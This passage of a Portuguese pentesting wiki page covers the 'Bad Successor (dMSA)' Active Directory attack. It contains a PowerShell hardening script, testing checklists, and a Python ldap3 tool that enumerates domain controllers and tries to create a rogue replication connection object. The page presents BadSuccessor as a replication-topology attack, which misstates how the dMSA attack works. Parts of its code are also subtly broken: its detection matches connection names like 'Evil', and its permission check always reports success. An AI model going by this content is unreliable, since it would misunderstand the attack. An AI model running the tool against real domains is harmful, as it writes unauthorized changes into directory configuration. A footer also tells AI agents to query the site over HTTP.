    $adminGroup = "Domain Admins"
    $replGroup = "Enterprise Admins"
    
    Write-Host "   ✅ Permissões restritas a grupos específicos"
}

# 2. Configurar autenticação forte para replicação
Write-Step "2. Configurando autenticação para replicação..."

$policy = Get-ADDefaultDomainPasswordPolicy

if ($policy.ComplexityEnabled -eq $false -or $policy.MinPasswordLength -lt 12) {
    Write-Host "   ⚠️  Política de senhas fraca detectada!"
    
    if ($Apply) {
        Set-ADDefaultDomainPasswordPolicy -MinPasswordLength 12 -ComplexityEnabled $true
        Write-Host "   ✅ Política de senhas fortalecida"
    }
}

# 3. Configurar auditoria de replicação
Write-Step "3. Configurando auditoria de replicação..."

if ($Apply) {
    # Habilitar auditoria avançada
    auditpol /set /subcategory:"Directory Service Replication" /success:enable /failure:enable
    auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
    
    Write-Host "   ✅ Auditoria de replicação habilitada"
}

# 4. Verificar conexões de replicação
Write-Step "4. Verificando conexões de replicação..."

$configDN = "CN=Configuration,$((Get-ADDomain).DNSRoot)"
$connections = Get-ADObject -SearchBase $configDN -Filter 'objectClass -eq "nTDSConnection"' -Properties fromServer, toServer

Write-Host "   Conexões de replicação: $($connections.Count)"

$unauthorizedConnections = $connections | Where-Object {
    $_.Name -like "*Evil*" -or
    $_.Name -like "*Bad*" -or
    $_.Name -like "*Malicious*"
}

if ($unauthorizedConnections) {
    Write-Host "   ⚠️  $($unauthorizedConnections.Count) conexões suspeitas encontradas!"
    
    if ($Apply) {
        foreach ($conn in $unauthorizedConnections) {
            Remove-ADObject -Identity $conn -Confirm:$false
            Write-Host "   ✅ Conexão removida: $($conn.Name)"
        }
    }
}

# 5. Configurar monitoramento de DCs
Write-Step "5. Configurando monitoramento de DCs..."

$dcs = Get-ADDomainController -Filter *

Write-Host "   DCs autorizados: $($dcs.Count)"

if ($Apply) {
    # Criar grupo de DCs autorizados
    $groupName = "Authorized Domain Controllers"
    try {
        New-ADGroup -Name $groupName -GroupScope Global -GroupCategory Security
        foreach ($dc in $dcs) {
            Add-ADGroupMember -Identity $groupName -Members $dc.Name
        }
        Write-Host "   ✅ Grupo de DCs autorizados criado"
    } catch {
        Write-Host "   ⚠️  Grupo já existe"
    }
}

# 6. Configurar alertas
Write-Step "6. Configurando alertas..."

if ($Apply) {
    # Criar tarefa agendada para monitoramento
    $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File C:\Scripts\monitor_replication.ps1"
    $trigger = New-ScheduledTaskTrigger -Daily -At "00:00"
    Register-ScheduledTask -TaskName "MonitorReplication" -Action $action -Trigger $trigger -User "SYSTEM"
    
    Write-Host "   ✅ Monitoramento de replicação configurado"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Controle de Replicação:
    - Restringir permissões de replicação
    - Usar grupos específicos para replicação
    - Monitorar criação de novos DCs

  ✅ Configuração de Rede:
    - Isolar tráfego de replicação
    - Usar IPSec para replicação
    - Implementar firewalls com regras específicas

  ✅ Monitoramento:
    - Alertar sobre novos DCs
    - Monitorar eventos de replicação
    - Verificar consistência de USN

  ✅ Backup e Recuperação:
    - Backup regular do AD
    - Testar recuperação de desastres
    - Documentar procedimentos de restauração
```

***

## 🔬 **Pentesting com Bad Successor**

### **Metodologia de Teste**

```yaml
Fases do Teste Bad Successor:

  FASE 1 - Reconhecimento:
    - Identificar topologia de replicação
    - Mapear DCs e conexões
    - Analisar permissões de replicação

  FASE 2 - Análise de Vulnerabilidades:
    - Verificar DCs não autorizados
    - Testar permissões excessivas
    - Analisar configurações de replicação

  FASE 3 - Exploração Controlada:
    - Tentar modificar topologia
    - Simular injeção de conexões
    - Testar interceptação de replicação

  FASE 4 - Validação:
    - Documentar vulnerabilidades
    - Demonstrar impacto
    - Recomendar correções
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# bad_successor_pentest.py - Pentest automatizado

import ldap3
import argparse
import sys

class BadSuccessorPentest:
    """Ferramenta de pentest para Bad Successor Attack"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.conn = None
        self.findings = []
    
    def connect(self):
        """Conectar ao AD"""
        self.conn = ldap3.Connection(
            self.dc_ip,
            user=f"{self.domain}\\{self.username}",
            password=self.password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        return self.conn
    
    def enumerate_replication_topology(self):
        """Enumerar topologia de replicação"""
        print("[*] Enumerando topologia de replicação...")
        
        config_dn = f"CN=Configuration,DC={self.domain.replace('.', ',DC=')}"
        
        # Buscar DCs
        self.conn.search(
            f"DC={self.domain.replace('.', ',DC=')}",
            '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
            attributes=['name', 'dNSHostName']
        )
        
        dcs = []
        for entry in self.conn.entries:
            dcs.append(str(entry['name']))
        
        # Buscar conexões
        self.conn.search(
            config_dn,
            '(objectClass=nTDSConnection)',
            attributes=['fromServer', 'toServer', 'name']
        )
        
        connections = []
        for entry in self.conn.entries:
            connections.append({
                'name': str(entry['name']),
                'from': str(entry['fromServer']),
                'to': str(entry['toServer'])
            })
        
        print(f"   DCs: {len(dcs)}")
        print(f"   Conexões: {len(connections)}")
        
        return {
            'dcs': dcs,
            'connections': connections
        }
    
    def check_permissions(self):
        """Verificar permissões de replicação"""
        print("[*] Verificando permissões de replicação...")
        
        config_dn = f"CN=Configuration,DC={self.domain.replace('.', ',DC=')}"
        
        # Verificar se usuário atual tem permissões
        self.conn.search(
            config_dn,
            '(objectClass=*)',
            attributes=['nTSecurityDescriptor'],
            controls=['1.2.840.113556.1.4.801']
        )
        
        has_permissions = False
        if self.conn.entries:
            # Em um pentest real, verificaria a ACL
            has_permissions = True
        
        if has_permissions:
            print("   ✅ Usuário tem permissões de replicação")
            self.findings.append({
                'type': 'EXCESSIVE_PERMISSIONS',
                'severity': 'HIGH',
                'details': 'Usuário pode modificar topologia de replicação'
            })
        else:
            print("   ❌ Sem permissões de replicação")
        
        return has_permissions
    
    def test_connection_creation(self):
        """Testar criação de conexão maliciosa"""
        print("[*] Testando criação de conexão de replicação...")
        
        config_dn = f"CN=Configuration,DC={self.domain.replace('.', ',DC=')}"
        site_dn = f"CN=Default-First-Site-Name,CN=Sites,{config_dn}"
        servers_dn = f"CN=Servers,{site_dn}"
        
        # Tentar criar conexão
        test_name = "TestConnection_Pentest"
        test_dn = f"CN={test_name},{servers_dn}"
        
        try:
            self.conn.add(
                test_dn,
                ['nTDSConnection'],
                {
                    'fromServer': f"CN=NTDS Settings,CN=DC1,{servers_dn}",
                    'toServer': f"CN=NTDS Settings,CN=DC2,{servers_dn}"
                }
            )
            print("   ✅ Conexão criada com sucesso!")
            self.findings.append({
                'type': 'CONNECTION_CREATION',
                'severity': 'CRITICAL',
                'details': 'Possível criar conexões de replicação não autorizadas'
            })
            
            # Limpar
            self.conn.delete(test_dn)
            
        except Exception as e:
            print(f"   ❌ Falha: {e}")
        
        return True
    
    def analyze_replication_settings(self):
        """Analisar configurações de replicação"""
        print("[*] Analisando configurações de replicação...")
        
        config_dn = f"CN=Configuration,DC={self.domain.replace('.', ',DC=')}"
        
        # Verificar intervalos
        self.conn.search(
            config_dn,
            '(objectClass=interSiteTransport)',
            attributes=['replicateEvery', 'transportType']
        )
        
        for entry in self.conn.entries:
            if 'replicateEvery' in entry:
                interval = int(entry['replicateEvery'][0]) / 60
                print(f"   Intervalo de replicação: {interval} minutos")
                
                if interval > 60:
                    self.findings.append({
                        'type': 'SLOW_REPLICATION',
                        'severity': 'MEDIUM',
                        'details': f'Intervalo de replicação alto ({interval} minutos)'
                    })
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠' if finding['severity'] == 'HIGH' else '🟡'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Revisar permissões de replicação")
        print("   • Restringir criação de conexões")
        print("   • Monitorar eventos de replicação")
        print("   • Implementar hardening de DCs")
    
    def run(self):
        """Executar pentest completo"""
        print("🚨 Bad Successor Pentest")
        print("=" * 60)
        
        self.connect()
        self.enumerate_replication_topology()
        self.check_permissions()
        self.test_connection_creation()
        self.analyze_replication_settings()
        self.generate_report()
    
    def close(self):
        if self.conn:
            self.conn.unbind()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Bad Successor Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('user', help='Username')
    parser.add_argument('pass', help='Password')
    
    args = parser.parse_args()
    
    pentest = BadSuccessorPentest(args.domain, args.dc_ip, args.user, getattr(args, 'pass'))
    pentest.run()
    pentest.close()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Restringir permissões de replicação
* [ ] Usar grupos específicos para replicação
* [ ] Configurar autenticação forte
* [ ] Implementar monitoramento de DCs

#### **Monitoramento**

* [ ] Monitorar criação de novos DCs
* [ ] Alertar sobre conexões de replicação suspeitas
* [ ] Verificar eventos de replicação (1962, 1963)
* [ ] Auditar permissões regularmente

#### **Resposta a Incidentes**

* [ ] Investigar DCs não autorizados
* [ ] Remover conexões maliciosas
* [ ] Revisar integridade do AD
* [ ] Rotacionar credenciais comprometidas

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Mapear topologia de replicação
* [ ] Identificar DCs e conexões
* [ ] Analisar permissões de replicação

#### **Testes**

* [ ] Testar criação de conexões maliciosas
* [ ] Verificar permissões excessivas
* [ ] Tentar modificar topologia

#### **Documentação**

* [ ] Documentar vulnerabilidades
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Bad Successor (dMSA) Attack:

  🔴 Principais Vetores:
    - Modificação de topologia de replicação
    - Criação de conexões maliciosas
    - Interceptação de replicação
    - Injeção de alterações no AD

  🛡️ Mitigações Essenciais:
    - Restringir permissões de replicação
    - Monitorar criação de DCs
    - Auditar eventos de replicação
    - Implementar hardening de AD

  🎯 Prioridade:
    - CRÍTICA: Permissões de replicação
    - ALTA: Monitoramento de DCs
    - MÉDIA: Configurações de replicação
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/bad-successor-dmsa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.